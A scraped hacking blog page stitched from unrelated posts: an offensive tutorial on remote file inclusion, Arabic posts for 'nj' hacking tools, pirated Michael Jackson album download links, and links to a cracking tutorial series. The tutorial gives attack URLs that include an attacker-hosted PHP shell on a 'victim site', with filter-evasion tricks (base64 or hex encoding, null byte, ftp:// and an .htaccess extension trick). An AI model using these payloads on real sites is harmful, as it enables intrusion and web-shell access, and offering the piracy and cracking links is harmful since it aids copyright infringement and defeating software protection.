Special Security

About remote file inclusion |RFI|

about remote file inclusion |RFI|

remote file inclusion is where you include a remote file..usaully the file you include will be for malicious purposes

backdoors

what is a backdoor

well your house has a front door...that usually is supposed to be welcoming
a backdoor doesnt look welcoming because people arent usually supposed to use it

a computer backdoor is a code/script that runs on a system with stealth
it allows hackers secret access to the affected system if it is setup up correctly
a backdoor usualy runs as a hidden proccess and will open various port and accept commands for the hacker that is using it

shell

what is a shell

there are many forms of shells..we will not be talking about sea shells today though
a shell on a system is a session/terminal that takes commands etc..like a mini command center
shells can be in php,java,c and other various languages

today i will explain a php shell is

a php shell is a script in php designed to take user inputted commands and browse files,execute commands,edit files,upload files,like a files manager
a php shell is executed via your web browser
eg...www.sites.com/shell.php?
the php shell gives you the same sort of access as if you were at that machine on the same account it is executed on..

remote file inclusion happens usually when someone make a php script and doesnt code it so that the script sanitizes the users input and there are no restrictions running on the server hosting the website with the vulnerable page

a vulnerable page's source code may have this in it

this would mean that

"page" without the quotes is the variable

so you would type

site.com/index.php?page=http://site.com/shell.txt?

note:it must be .txt in extension on server otherwise it will run on the other server where the remote file is located

also rfi wont work if url fopen or url include is disabled or if the page is patched

in order to patch theor script in php they should replace

require($page . "faq.php");

with

require("faq.php");

and then the script cant take user input through the url

also if there is mod_security enabled try encoding the shell link in base 64 or hex code

and for scripts that dont fully sanitise the user input but do check to a certain extent

use the nullbyte trick at the very end of the url

eg:

site.com/index.php?page=http://site.com/shell.txt?

well if there is anything i missed.tell me

edit:
thought of 2 i forgot myself

some filters filter out http:// so try ftp:// instead
so instead of using the http protocal use the ftp protocal

also try converting the shells link to binary
eg

site.com/index.php?page=binary string

---------updated

okies this is just small a update

sometimes a site may have in its code some security code to make it so that the file MUST have an extension of .html or somethinng or .pdf

so if you atacked

127.0.0.1index.php?page=document.pdf

and changed the document.pdf to your shell link

127.0.0.1index.php?page=http://shell.com/shell.txt?

and got an error like this

warning: failed for inclusion http://site.com/shell.txt.pdf? blah blah blah

notice your input was shell.txt and it tried including a file called shell.txt.pdf

then you would goto your shell host and create a rule with a .htaccess file with the following code

AddType application/octect-stream pdf

you could also make it show the php file as a text file by using

AddType text/plain pdf

save this as a .htaccess file with 1 of the 2 codes above

anyways now lets get to the interesting part

now lets remember your php shell must end in a .pdf extension but show as a txt file

so rename your file shell.txt to shell.pdf

now goto your victim site and dont include the extension,let the php code do the work for ya;) teamwork is always usefull

and use

127.0.0.1index.php?page=http://shell.com/shell

because the script automaticly adds the .pdf extension for you so you have

127.0.0.1index.php?page=http://shell.com/shell.pdf

sweet!

anyways hope this is usefull to some ppl

Magic System - Premiere Gaou

~ Posted by Joe2010 | Tagged with Music And Videos Clips | Leave a Comment

nj-Tool v0.4 الاصدار الجديد

~ Posted by Joe2010 | Tagged with Nj Tools Hacking | Leave a Comment

=
=
=
=
=
=

السلام عليكم ورحمه الله ,,.

برنامج : nj-Tool v0.4

وظيفه البرنامج : حصر القيم المكشووفه

تم اصلاح اخطاء موجوده بالإصدارات القديمه

صور :

ميزه جديده للحفاظ على جهازك وتنبيهك اذا صار حجم الملفات كبيير

تقدر تفحص الملفات المقسمه بعدها تحذفهم وترجع للبرنامج تضغط متابعه لإكمال التقسيم

القيمه تغيرت عند ملف 779 نروح نفتحه بالهيكس ونبحث عن كلمه nj-Q8

تحميل
nj-Tool

تشفيرات موفقه ,, تحياتي..

Michael Jackson Speci4L collections in S-Sec.Blogspot.com

~ Posted by Joe2010 | Tagged with Michael Jackson | 1 Comments

[HTTP] Michael Jackson - King Of Pop - 2CD (2008)

Michael Jackson - King Of Pop - 2CD (2008)

Artist : Michael Jackson Title : King of Pop Year : 2008 Genre : Pop Quality : 192 Kbps Total Time : 153 Mins Total Sise : 211 MB Cover: Yes Track List: Yes Individual Tracks: Yes Release Date: 28 Aug 08

Quote:

TRACKLIST: CD1 01 Billie Jean 04:54 02 Beat it 04:18 03 Thriller 05:14 04 Smooth Criminal 04:19 05 Bad 04:10 06 Dirty Diana 04:43 07 Black or White 04:18 08 Men in the Mirror 05:21 09 Earth Song 05:04 10 Heal the World 04:36 11 They Don't Care About Us 04:14 12 Who is it 04:02 13 Speechless 03:21 14 the Way You Make Me Feel 05:00 15 We've Had Enough 05:48 16 Remember the Time 04:02 CD2 01 Whatever Happens 04:58 02 You Are Not Alone 04:59 03 Say Say Say 03:59 04 Liberian Girl 03:50 05 Wanna Be Startin' Somethin' 04:22 06 Don't Stop 'til You Get Enough 04:03 07 I Just Can't Stop Loving You 04:15 08 Give in to Me 05:32 09 Dangerous 07:02 10 Will You Be There 03:41 11 Scream 04:43 12 You Rock My World 05:09 13 Stranger in Moscow 05:24 14 Rock with You 03:25 15 Got the Hots 04:30 16 Thriller Megamix 09:15

KING OF POP MUSIC ! THE BEST SONG Michael Jackson. 2cd THE BEST RACK !!! WE CAN THANKS, FOR HIS GREAT MUSIC !!! DOWNLOAD:

Code:

 http://hotfile.com/dl/7663592/7587d34/Michael_Jackson_-_King_of_Pop_-_2CD_-_2008.par

////////////////////////////////////////////////////////////////////////////////////

www.S-Sec.Blogspot.Com
[FF] Michael Jackson - Number Ones (2003)

1. Don't Stop 'Til You Get Enough2. Rock With You3. Billie Jean4. Beat It5. Thriller6. Human Nature7. I Just Can't Stop Loving You8. Bad9. Way You Make Me Feel, The10. Dirty Diana11. Smooth Criminal12. Black or White13. You Are Not Alone14. Earth Song15. Blood on the dance floor16. You Rock My World17. Break of Dawn18. One More Chanceno pass

Code:

http://flyfile.us/9001zb5oc57p/Michael_Jackson-Number_Ones-2003-NHH_INT.rar.html

////////////////////////////////////////////////////////////////////////////////////
www.S-Sec.Blogspot.Com

[HF] Michael Jackson-The Ultimate Collection-4CD-2004-MUSiQ

NFO:

Code:

                 .:MUSiQ PRESENTS:. 
Artist: 
Michael Jackson Album:   The Ultimate Collection Label:  
Epic Records Genre:   Pop  Encoder: Lame V3.90.3 Bitrate: VBR Mode: 
 Joint-Stereo Tracks:  57 Time:    262:42 min Size:    401,6 MB Source:
CDDA  Rip Date:    Nov-13-2004 Street Date: Nov-16-2004  .:NOTES:. 
The first and only career-spanning box set from the best-selling solo
artist of all time!  Features 4 CDs jam-packed with hits from 1969 to 2004.
Plus tons of previously unreleased tracks, rarities and demos!  The 60 page
booklet includes rare and historic photos, memorabilia from MJ's personal archives,
 an extensive essay, timeline, and discography!  This set includes the biggest hits
of Michael Jackson's career!  ENJOY!    .:TRACKLIST:.      CD1  01. I Want You Back    
                               03:00 02. ABC                                        
       02:58 03. I'll Be There                                
     03:58 04. Got To Be There                                  
 03:23 05. I Wanna Be Where You Are                          
02:58 06. Ben                                               
02:45 07. Dancing Machine (Single Version)                 

 02:38 08. Enjoy Yourself                                   
 03:41 09. Ease On Down The Road (Ft. Diana Ross)         

  03:20 10. You Can't Win (From The Wiz)                     
 07:18 11. Shake A Body (Early Demo)                      
   02:08 12. Shake Your Body (Down To The Ground)      
        03:46 13. Don't Stop 'til You Get Enough        
            06:04 14. Rock With You                      
               03:41 15. Off The Wall                       
               04:06 16. She's Out Of My Life                 
             03:38 17. Sunset Driver (Demo)                    
          04:04 18. Lovely
04:50 19. This Place Hotel                                
  05:44      CD2  01. Wanna Be Startin' Somethin'       
                06:04 02. The Girl Is Mine (Ft. Paul Mccartney)  
           03:42 03. Thriller                                     
     05:59 04. Beat It                                           
04:19 05. Billie Jean                                         04:
54 06. Pretty Young Thing (Demo)                           03:47 07. Someone In The Dark                                 04:55 08. State Of Shock (Ft. Mick Jagger)                
  04:31 09. Scared Of The Moon (Demo)                           04:42 10. We Are The World (Demo)                             05:21 11. We Are Here To Change The World (From Captain EO)   02:53      CD3  01. Bad                                                 04:08 02. The Way You Make Me Feel                            04:59 03. Man In The Mirror                                   05:20 04. I Just Can't Stop Loving You                        04:14 05. Dirty Diana                                         04:42 06. Smooth Criminal                                     04:18 07. Cheater (Demo)                                      05:10 08. Dangerous (Early Version)                           06:41 09. Monkey Business                                     05:46 10. Jam                                                 05:40 11. Remember The Time                                   04:01 12. Black Or White                                      04:17 13. Who Is It (IHS Mix)                                 07:58 14. Someone Put Your Hand Out                           05:26      CD4  01. You Are Not Alone                                   06:02 02. Stranger In Moscow                                  05:46 03. Childhood (Theme From Free Willy 2)                 04:29 04. On The Line                                         04:54 05. Blood On The Dance Floor                            04:13 06. Fall Again (Demo)                                   04:23 07. In The Back                                         04:32 08. Unbreakable                                         06:27 09. You Rock My World                                   05:09 10. Butterflies                                         04:40 11. Beautiful Girl (Demo)                               04:04 12. The Way You Love Me                                 04:31 13. We've Had Enough                                    05:45   .:NEWS:.  We have limited positions available for secure 100/1000 mbit affiliate sites.

DOWNLOAD: CD1:

Code:

http://hotfile.com/dl/7632920/f6a429b/Michael_Jackson-The_Ultimate_Collection-CD1.rar.html

CD2:

Code:

http://hotfile.com/dl/7632977/ede0520/Michael_Jackson-The_Ultimate_Collection-CD2.rar.html

CD3:

Code:

http://hotfile.com/dl/7633038/51bfc86/Michael_Jackson-The_Ultimate_Collection-CD3.rar.html

CD4:

Code:

 http://hotfile.com/dl/7633104/395bbf8/Michael_Jackson-The_Ultimate_Collection-CD4.rar.html

////////////////////////////////////////////////////////////////////////////////////
www.S-Sec.Blogspot.Com
[FF] Michael Jackson - Number Ones (2003)

Code:

http://flyfile.us/9001zb5oc57p/Michael_Jackson-Number_Ones-2003-NHH_INT.rar.html

////////////////////////////////////////////////////////////////////////////////////
[HTTP] Michael Jackson - Greatest hits (2009)

Michael Jackson - Greatest hits (2009)

KING OF POP MUSIC ! THE BEST SONG Michael Jackson. 24 THE BEST RACK !!! WE CAN THANKS, FOR HIS GREAT MUSIC !!!

Quote:

TRACKLIST: 01. Bad.mp3 02. Beat It.mp3 03. Billie Jean.mp3 04.Black or White.mp3 05. Dirty Diana.mp3 [6MB] 06. Dont Stop Til You Get Enough.mp3 07. Earth Song.mp3 08. Heal The World.mp3 09. Human Nature.mp3 10. Jam.mp3 11. Leave Me Alone.mp3 12. Liberian Girl.mp3 13. Little Susie.mp3 14. Man In The Mirror.mp3 15. Remember The Time.mp3 16. Rock With You.mp3 17. Scream.mp3 18. Smooth Criminal.mp3 19. Stranger In Moscow.mp3 20. The Girl Is Mine.mp3 21. The Way You Make Me Fell.mp3 22. They Dont Care About Us.mp3 23. Thriller.mp3 24. Wanna Be Startin Somethin.mp3

DOWNLOAD:

Code:

 http://hotfile.com/dl/7628786/bdd9634/1246032716_Michael_Jackson-_Greatest_Hits.rar.html

////////////////////////////////////////////////////////////////////////////////////

www.S-Sec.Blogspot.Com
Michael Jackson ï¿½ Complete Discography

Info:

Quote:

Michael Joseph Jackson (August 29, 1958 ï¿½ June 25, 2009) was an American recording artist and entertainer. In addition, his recording career enabled him to have a role as a businessman. The seventh child of the Jackson family, he made his debut onto the professional music scene at the age of 11 as a member of The Jackson 5 in 1969, and later began a solo career in 1971 while still a member of the group. Referred to as the "King of Pop"[2] in subsequent years, his 1982 album Thriller remains the world's best-selling record of all time[3] and four of his other solo studio albums are among the world's best-selling records: Off the Wall (1979), Bad (1987), Dangerous (1991) and HIStory (1995). In the early 1980s, he became a dominant figure in popular music and the first African American entertainer to amass a strong crossover following on MTV. The popularity of his music videos airing on MTV, such as "Beat It", "Billie Jean" and "Thriller"ï¿½widely credited with transforming the music video from a promotional tool into an art formï¿½helped bring the relatively new channel to fame. Videos such as "Black or White" and "Scream" made Jackson an enduring staple on MTV in the 1990s. With stage performances and music videos, Jackson popularized a number of physically complicated dance techniques, such as the robot and the moonwalk. His distinctive musical sound and vocal style influenced many hip hop, pop and contemporary R&B artists. Jackson donated and raised millions of dollars for beneficial causes through his foundations, charity singles, and support of 39 charities. Other aspects of his personal life, including his often changing appearances and eccentric behavior, generated significant controversy which damaged his public image. Though he was accused of child sexual abuse in 1993, the criminal investigation was closed due to lack of evidence and Jackson was not charged. The singer had experienced health concerns since the early 1990s and conflicting reports regarding the state of his finances since the late 1990s. Jackson married twice and fathered three children, all of which caused further controversy. In 2005, Jackson was tried and acquitted of further sexual abuse allegations and several other charges. One of the few artists to have been inducted into the Rock and Roll Hall of Fame twice, his other achievements include multiple Guinness World Recordsï¿½including one for "Most Successful Entertainer of All Time"ï¿½13 Grammy Awards, 13 number one singles in his solo career, and the sale of 750 million records worldwide.[4] Jackson's highly publicized personal life, coupled with his successful career, made him a part of popular culture for almost four decades. Michael Jackson died on June 25, 2009, aged 50.[5] The specific cause of death has yet to be determined.[2] Before his death, Jackson had announced a 50-date sell-out This Is It comeback tour, in London, UK.[6]

Code:

http://en.wikipedia.org/wiki/Michael_Jackson
http://www.michaeljackson.com/
http://www.myspace.com/michaeljackson
 http://www.last.fm/music/Michael+Jackson

Content Uploaded: Bad
Blood On The Dance Floor
Dangerous
HIStory
Invincible
Off The Wall
Thriller
Unreleased / Other
Download:

Code:

http://rapidshare.com/files/249183484/MJ-Complete.Han-WBB.part1.rar http://rapidshare.com/f

Enjoy! NO PASSWORD IF YOU ARE DOWNLOADING FROM MY LINKS - PLEASE, POST "THANKS"!

nj-Server برنامج تحويل جهازك لــ موقع

~ Posted by Joe2010 | Tagged with Nj Tools Hacking | Leave a Comment

=
=
=
=
=

السلام عليكم ورحمه الله ,,..

برنامج nj-Server

مميزات :
1- تحويل جهازك لموقع وتركيب اي دومين مربوط بـ ip جهازك مثل no-ip وغيره ..
2- اظهار عدد الزيارات لصفحتك ..
3- تسجيل جميع الايبيهات اللي زارت صفحتك ..

عيوب :
لايوجد قاعده بيانات
لايمكن تحميل ملفات من جهازك <-- انشالله احلها بالإصدار الجديد

صوره :

تحميل :
DownLoad

h

CRACKING (Reverse Engineering) Tutorial Video (by: Lena)

~ Posted by Joe2010 | Tagged with Tutorials Cracking [EN] | Leave a Comment

this cracking tutorial video is very good for beginners who like to learn cracking (it's really recomended).

No previous knowledge is really needed !!!

With this video, you will learn :

Quote:
• Olly + assembler + patching a basic reverseme
• Keyfiling the reverseme + assembler
• Basic nag removal + header problems
• Basic + aesthetic patching
• Comparing on changes in cond jumps, animate over/in, breakpoints
• "The plain stupid patching method", searching for textstrings
• Intermediate level patching, Kanal in PEiD
• Debugging with W32Dasm, RVA, VA and offset, using LordPE as a hexeditor
• Explaining the Visual Basic concept, introduction to SmartCheck and configuration

• Continued reversing techniques in VB, use of decompilers and a basic anti-anti-trick
• Intermediate patching using Olly's "pane window"
• Guiding a program by multiple patching.
• The use of API's in software, avoiding doublechecking tricks
• More difficult schemes and an introduction to inline patching
• How to study behaviour in the code, continued inlining using a pointer
• Reversing using resources
• Insights and practice in basic (self)keygenning
• Diversion code, encryption/decryption, selfmodifying code and polymorphism
• Debugger detected and anti-anti-techniques
• Packers and protectors : an introduction

• Imports rebuilding
• API Redirection
• Stolen bytes
• Patching at runtime using loaders from lena151 original
• Continued patching at runtime & unpacking armadillo standard protection
• Machine specific loaders, unpacking & debugging armadillo
• tElock + advanced patching
• Bypassing & killing server checks
• Killing & inlining a more difficult server check
• SFX, Run Trace & more advanced string searching

• Delphi in Olly & DeDe
• Author tricks, HIEW & approaches in inline patching
• The FPU, integrity checks & loader versus patcher
• Reversing techniques in packed soft & A S&R loader for aspr
• Inlining inside polymorphic code
• Keygenning

Reversing with Lena151 - NewbieTutorial Series 01-40

snd-reversingwithlena-tutorial01.tutorial
http://www.megaupload.com/?d=VJJB8BP6
--------------
snd-reversingwithlena-tutorial02.tutorial
http://www.megaupload.com/?d=WG2QWG2S
--------------
snd-reversingwithlena-tutorial03.tutorial
http://www.megaupload.com/?d=7YL71IKB
--------------
snd-reversingwithlena-tutorial04.tutorial
http://www.megaupload.com/?d=6DJZN4F7
--------------
snd-reversingwithlena-tutorial05.tutorial
http://www.megaupload.com/?d=SB5XPJLS
--------------
snd-reversingwithlena-tutorial06.tutorial
http://www.megaupload.com/?d=4SSW49ZI
--------------
snd-reversingwithlena-tutorial07.tutorial
http://www.megaupload.com/?d=BPB1ZIVO
--------------
snd-reversingwithlena-tutorial08.tutorial
http://www.megaupload.com/?d=W0PWNUZZ
--------------
snd-reversingwithlena-tutorial09.tutorial
http://www.megaupload.com/?d=FQ3TYTQP
--------------
snd-reversingwithlena-tutorial10.tutorial
http://www.megaupload.com/?d=6VGQW4WL
--------------
snd-reversingwithlena-tutorial11.tutorial
http://www.megaupload.com/?d=FF2PG7GV
--------------
snd-reversingwithlena-tutorial12.tutorial
http://www.megaupload.com/?d=C4VQ1DFU
--------------
snd-reversingwithlena-tutorial13.tutorial
http://www.megaupload.com/?d=II72NEYH
--------------
snd-reversingwithlena-tutorial14.tutorial
http://www.megaupload.com/?d=ES4VB809
--------------
snd-reversingwithlena-tutorial15.tutorial
http://www.megaupload.com/?d=9HJFNW50
--------------
snd-reversingwithlena-tutorial16.tutorial
http://www.megaupload.com/?d=HOASJ22H
--------------
snd-reversingwithlena-tutorial17.tutorial
http://www.megaupload.com/?d=PJO64GEV
--------------
snd-reversingwithlena-tutorial18.tutorial
http://www.megaupload.com/?d=GGCD3LB6
--------------
snd-reversingwithlena-tutorial19.tutorial
http://www.megaupload.com/?d=1ZHEZ5BP
--------------
snd-reversingwithlena-tutorial20.tutorial
http://www.megaupload.com/?d=6GKE0TJO
--------------
snd-reversingwithlena-tutorial21.tutorial
http://www.megaupload.com/?d=NAOC1W8H
--------------
snd-reversingwithlena-tutorial22.tutorial
http://www.megaupload.com/?d=MOG0D8PB
--------------
snd-reversingwithlena-tutorial23.tutorial
http://www.megaupload.com/?d=CC6264MV
--------------
snd-reversingwithlena-tutorial24.tutorial
http://www.megaupload.com/?d=9WRM6QS8
--------------
snd-reversingwithlena-tutorial25.tutorial
http://www.megaupload.com/?d=Z2TPKYT2
--------------
snd-reversingwithlena-tutorial26.tutorial
http://www.megaupload.com/?d=MFLE6A0P
--------------
snd-reversingwithlena-tutorial27.tutorial
http://www.megaupload.com/?d=QGRUQ3YQ
--------------
snd-reversingwithlena-tutorial28.tutorial
http://www.megaupload.com/?d=V3BN7XBN
--------------
snd-reversingwithlena-tutorial29.tutorial
http://www.megaupload.com/?d=DSZ3DJYI
--------------
snd-reversingwithlena-tutorial30.tutorial
http://www.megaupload.com/?d=822H7L39
--------------
snd-reversingwithlena-tutorial31.tutorial
http://www.megaupload.com/?d=EB51R7KM
--------------
snd-reversingwithlena-tutorial32.tutorial
http://www.megaupload.com/?d=NHN6RZK6
--------------
snd-reversingwithlena-tutorial33.tutorial
http://www.megaupload.com/?d=HDFWGHC0
--------------
snd-reversingwithlena-tutorial34.tutorial
http://www.megaupload.com/?d=1AW9G7G6
--------------
snd-reversingwithlena-tutorial35.tutorial
http://www.megaupload.com/?d=9TZNY47J
--------------
snd-reversingwithlena-tutorial36.tutorial
http://www.megaupload.com/?d=Z2HQ6X27
--------------
snd-reversingwithlena-tutorial37.tutorial
http://www.megaupload.com/?d=AAK76GE8
--------------
snd-reversingwithlena-tutorial38.tutorial
http://www.megaupload.com/?d=2I3AIK9Y
--------------
snd-reversingwithlena-tutorial39.tutorial
http://www.megaupload.com/?d=UZ8KWFHV
--------------
snd-reversingwithlena-tutorial40.tutorial
http://www.megaupload.com/?d=B4KFIDUH